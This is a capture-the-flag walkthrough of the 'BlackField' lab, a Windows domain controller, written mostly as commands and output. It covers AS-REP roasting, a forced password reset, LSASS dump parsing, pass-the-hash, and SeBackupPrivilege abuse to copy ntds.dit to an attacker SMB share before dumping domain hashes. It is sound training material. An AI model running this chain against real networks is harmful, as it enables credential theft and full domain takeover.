BlackField

Enumeration

Command

1

nmap -sC -sV -oN nmap-scan -Pn 10.10.10.192

Nmap Scan

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# Nmap 7.93 scan initiated Tue Dec 20 13:29:51 2022 as: nmap -sC -sV -oN nmap-scan -Pn 10.10.10.192
Nmap scan report for 10.10.10.192
Host is up (0.25s latency).
Scanned at 2022-12-20 13:29:52 EAT for 143s
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-12-20 17:30:34Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-12-20T17:31:37
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 48702/tcp): CLEAN (Timeout)
|   Check 2 (port 10784/tcp): CLEAN (Timeout)
|   Check 3 (port 8154/udp): CLEAN (Timeout)
|   Check 4 (port 53637/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h00m00s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 20 13:32:15 2022 -- 1 IP address (1 host up) scanned in 144.10 seconds

This is Windows machine and it can active directory. The important fields obtained from nmap includes the domain name of the machine which is BLACKFIELD.local add this to the /etc/hosts

Smb Enumeration

Checking if there is any share in smb service

Command I tried smbmap only without providing an user and it refused to connect but when using anonymous or guest it return result.

1

└─$ smbmap -H 10.10.10.192 -u anonymous 

Result

1
2
3
4
5
6
7
8
9
10

[+] Guest session       IP: 10.10.10.192:445    Name: BLACKFIELD.local                                  
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 

There are to shares which are not default but we only have access to the profiles$

Enumerating profiles$

Command

1

└─$ smbclient -N //10.10.10.192/profiles$ 

List contents

1
2
3
4
5
6
7
8
9
10
11

smb: \> dir                                                                                   
  .                                   D        0  Wed Jun  3 19:47:12 2020
  ..                                  D        0  Wed Jun  3 19:47:12 2020
  AAlleni                             D        0  Wed Jun  3 19:47:11 2020
  ABarteski                           D        0  Wed Jun  3 19:47:11 2020
  ABekesz                             D        0  Wed Jun  3 19:47:11 2020
  ABenzies                            D        0  Wed Jun  3 19:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 19:47:11 2020
  AChampken                           D        0  Wed Jun  3 19:47:11 2020
  ACheretei                           D        0  Wed Jun  3 19:47:11 2020
  ACsonaki                        

Listing files in this share resulted to some sort of usernames for the machine, hence copy them to the attacking machine and filter only names.

1

└─$ cat user | awk '{print $1}' > users.txt   

This list is too huge but there is a way to fine all valid users, this can done by using the tool known as kerbrute and this tool can be found in kerbrute and its syntax is shown below

1

└─$ ./kerbrute userenum --dc 10.10.10.192 -d blackfield.local -o validusers users.txt 

This will result into valid users and to clear the names we can use the following command:

1

└─$ grep VALID  validusers | awk  '{print $7}' | awk -F \@ '{print $1}' > creds/validusers

And the result will be

1
2
3

audit2020
svc_backup
support

Checking for ‘UF_DONT_REQUIRE_PREAUTH’

This will require impacket-GetNPUsers

1

└─$ impacket-GetNPUsers blackfield.local/ -usersfile validusers -dc-ip 10.10.10.192  -no-pass

Which results to

1

$krb5asrep$23$support@BLACKFIELD.LOCAL:1108e631d6efac9107984b05d7e87a2c$e96fb3fd03e20f892260a2358a75acbed52d7616603869b8c879a35e72c5a7c8d61b092dcc7e2ba0321094b24659c3454f05bccf12505652ea2fbe78c9b5ffd891e4de50211dccd70032ac94ea84546b5e280edbb078d96092054e478a98d5539a1a10029d1926f455c2a3345768b922b2b266c7fadcd8e2a9063736a3197f6cb95ad7dd6adb6e10f46a67aef4795362b373ff464153001721dd6a17486d0153afa3414f1d3aac00ed38530abdb3b6aeb9071c1c76804d08fe68a05219e89ce3709acf4768d1342f3033706264a0ced34abd024ba3c0dee0cf82845ed497828ad4b4581ce8fe0c03df45b74d1beb8318469d19e8

Crack hash

1

└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt

This resulted into #00^BlackKnight which is password for the user support

After this i tried smbclient and smbmap but it wasn’t successful then i decided to use rpcclient to check if there are other users

1

└─$ rpcclient -U "support" 10.10.10.192

It connected and to obtain users this command is used

1

rpcclient $> enumdomusers

Non of the new user brings interesting info then we ca continue with another thing

Collecting Data by using BloodHound

1

└─$ bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all

Result

1
2

└─$ ls
20221220160034_computers.json  20221220160034_domains.json  20221220160034_groups.json  20221220160034_users.json  

Then zip all the json files and drag them into BloodHound after that start neo4j and bloodhound then load the zip file into bloodhound

Search all the three users obtained before and mark user support as owned and remaining two as user with high value

After done marking them then select shortest Paths to Here from Owned user svc_backup has nothing but user audit2020 has the following

This means that The user SUPPORT has the capability to change the user AUDIT2020’s password without knowing that user’s current password.

To change the password use the rpcclient it is well explained in malicious.link

1. Authenticate to rpcclient as user support

   1 2 3

   └─$ rpcclient -U "support" 10.10.10.192 Password for [WORKGROUP\support]: rpcclient $>

2. Change the password for user Audit2020

   1	rpcclient $> setuserinfo2 Audit2020 23 '@Gemstone'

   Access to Forensic file

   1	└─$ crackmapexec smb 10.10.10.192 -u Audit2020 -p '@Gemstone' --shares

   Result

   1 2 3 4 5 6 7 8 9 10 11 12

   SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False) SMB 10.10.10.192 445 DC01 [+] BLACKFIELD.local\Audit2020:@Gemstone SMB 10.10.10.192 445 DC01 [+] Enumerated shares SMB 10.10.10.192 445 DC01 Share Permissions Remark SMB 10.10.10.192 445 DC01 ----- ----------- ------ SMB 10.10.10.192 445 DC01 ADMIN$ Remote Admin SMB 10.10.10.192 445 DC01 C$ Default share SMB 10.10.10.192 445 DC01 forensic READ Forensic / Audit share. SMB 10.10.10.192 445 DC01 IPC$ READ Remote IPC SMB 10.10.10.192 445 DC01 NETLOGON READ Logon server share SMB 10.10.10.192 445 DC01 profiles$ READ SMB 10.10.10.192 445 DC01 SYSVOL READ Logon server share

   Now we can read the Forensic file

   1	└─$ sudo mount -t cifs -o 'username=audit2020,password=@Gemstone' //10.10.10.192/forensic /mnt

   The mount way helps to dump everything into attackers machine.

After analyzing the files from the forensic share then found .zip file named as lsass.zip it stands for Local Security Authority Subsystem Service and it is a system process in the Windows operating system that is responsible for enforcing the security policy on the system. Copy the lsass.zip into your machine

1

└─$ sudo cp -v /mnt/memory_analysis/lsass.zip .

This file has 40M so after it finishes unzip it to have a lsass.DMP to crack this the tool known as pypykatz will be used

1

└─$ pypykatz lsa minidump lsass.DMP > lsass.plain

This will provide some potential data including the NT for user Administrator and svc_backup svc_backup : 9658d1d1dcd9250115e2205d9f48400d and Administrator : 7f1e4ff8c6a8e6b6fcae2d9c0572cd62

User Account

Check with crackmapexec to see if you can pwn the machine with winrm service

1
2
3
4

└─$ crackmapexec winrm 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
SMB         10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)

Then we can login by using evil-winrm as user svc_backup

1

└─$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d 

User flag

1
2

*Evil-WinRM* PS C:\Users\svc_backup\desktop> type user.txt
3920bb317a0bef*********** 

Administrator Account

In C:\ there is a note called note.txt which has the following information

1
2
3
4
5
6
7
8
9
10
11
12
13

*Evil-WinRM* PS C:\> cat notes.txt
Mates,

After the domain compromise and computer forensic last week, auditors advised us to:
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.

We will probably have to backup & restore things later.
- Mike.

PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)

It seems some of the things have not being implemented including disable auditor's account

View user svc_backup privilege

1

*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv

Result

1
2
3
4
5
6
7
8
9
10
11

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

We can abuse the SeBackupPrivilege you can read in details hackingarticles but in short SeBackupPrivilege was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any ACL that the Administrator has placed in the network. So, in a nutshell, this privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the SAM file or SYSTEM Registry file.

Exploit SeBackupPrivilege

Again from hackingarticles to exploit this we need the ntds.dit file to extract the hashes along with the system hive. The problem with the ntds.dit file is that while the Target Machine is running the file always remains in the usage and as we are pretty aware of the fact that when a file is an underuse then it is not possible to copy the file using any conventional methods. To circumvent this problem, we need to use diskshadow functionality. This is a built-in function of Windows that can help us create a copy of a drive that is currently in use.

Here are steps to follow

1. Create a directory that will have both rad and write permission

   1	*Evil-WinRM* PS C:\> mkdir Temp

2. In your Linux machine create a file that will instruct the diskshadow to create a copy of the C: Drive into a Z Drive with pwnas its alias but alias can be anything of your choice. Command

   1	└─$ vim pwn.dsh

   Contents

   1 2 3 4

   set context persistent nowriters add volume c: alias pwn create expose %pwn% z:

   Convert After creating this dsh file, use the unix2dos to convert the encoding and spacing of the dsh file to the one that is compatible with the Windows Machine

   1	└─$ unix2dos pwn.dsh

3. Send the dsh file into Windows machine

   1	└─$ python3 -m http.server 80

   Receive

   1	*Evil-WinRM* PS C:\Temp> iwr http://10.10.14.5/pwn.dsh -outf pwn.dsh

4. Use diskshadow to create a copy of the C drive into Z drive.

   1	*Evil-WinRM* PS C:\Temp> diskshadow /s pwn.dsh

   Result

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

   Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 12/23/2022 7:27:40 AM -> set context persistent nowriters -> add volume c: alias pwn -> create Alias pwn for shadow ID {cd905d2b-2506-4e1d-8306-1b8cc54c6140} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {f754b504-5058-4c68-aeaf-36cd279ba191} set as environment variable. Querying all shadow copies with the shadow copy set ID {f754b504-5058-4c68-aeaf-36cd279ba191} * Shadow copy ID = {cd905d2b-2506-4e1d-8306-1b8cc54c6140} %pwn% - Shadow copy set: {f754b504-5058-4c68-aeaf-36cd279ba191} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\] - Creation time: 12/23/2022 7:27:42 AM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential Number of shadow copies listed: 1 -> expose %pwn% z: -> %pwn% = {cd905d2b-2506-4e1d-8306-1b8cc54c6140} The shadow copy was successfully exposed as z:\. ->

5. Use the RoboCopy tool to copy the file from the Z Drive to the Temp Directory.

   1	*Evil-WinRM* PS C:\Temp> robocopy /b z:\windows\ntds . ntds.dit

   Result

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

   ------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows ------------------------------------------------------------------------------- Started : Friday, December 23, 2022 7:31:52 AM Source : z:\windows\ntds\ Dest : C:\Temp\ Files : ntds.dit Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30 ------------------------------------------------------------------------------ 1 z:\windows\ntds\ New File 18.0 m ntds.dit

6. Send ntds from Windows machine to Linux machine. In Linux machine create a share name mine is sec and path mine is . for more explanation check at 0xdf

   1	└─$ impacket-smbserver sec . -smb2support -u gems -password gems

   In Windows machine

   1 2	*Evil-WinRM* PS C:\Temp> net use \\10.10.14.5\sec /u:gems gems *Evil-WinRM* PS C:\Temp> copy ntds.dit \\10.10.14.5\sec

7. We are now in the possession of the ntds.dit file and we need to extract the system hive. This can be done with a simple reg save command as shown below

   1 2	*Evil-WinRM* PS C:\Temp> reg save hklm\system c:\Temp\system The operation completed successfully.

   Send to Linux machine

   1	*Evil-WinRM* PS C:\Temp> copy system \\10.10.14.5\sec

   Alternatively you can use upload and download command to transfer files.

   1. On our Kali Linux shell, we can use the secretsdump script that is a part of the Impacket Framework to extract our hashes from the ntds.ditfile and the system hive

   Command

   1	└─$ impacket-secretsdump -ntds ntds.dit -system system local

   Result

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

   Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:3774928fe55833e6c62abdc233f47a7b::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d::: audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa::: support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212::: BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c::: [...]

   We can use Pass-The-Hash again with the admin’s hash, get a shell and read the root.txt flag.

   1	└─$ evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

   Root flag

   1 2	Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt 4375a629c7c67c*******************

   1	Mungu Nisaidie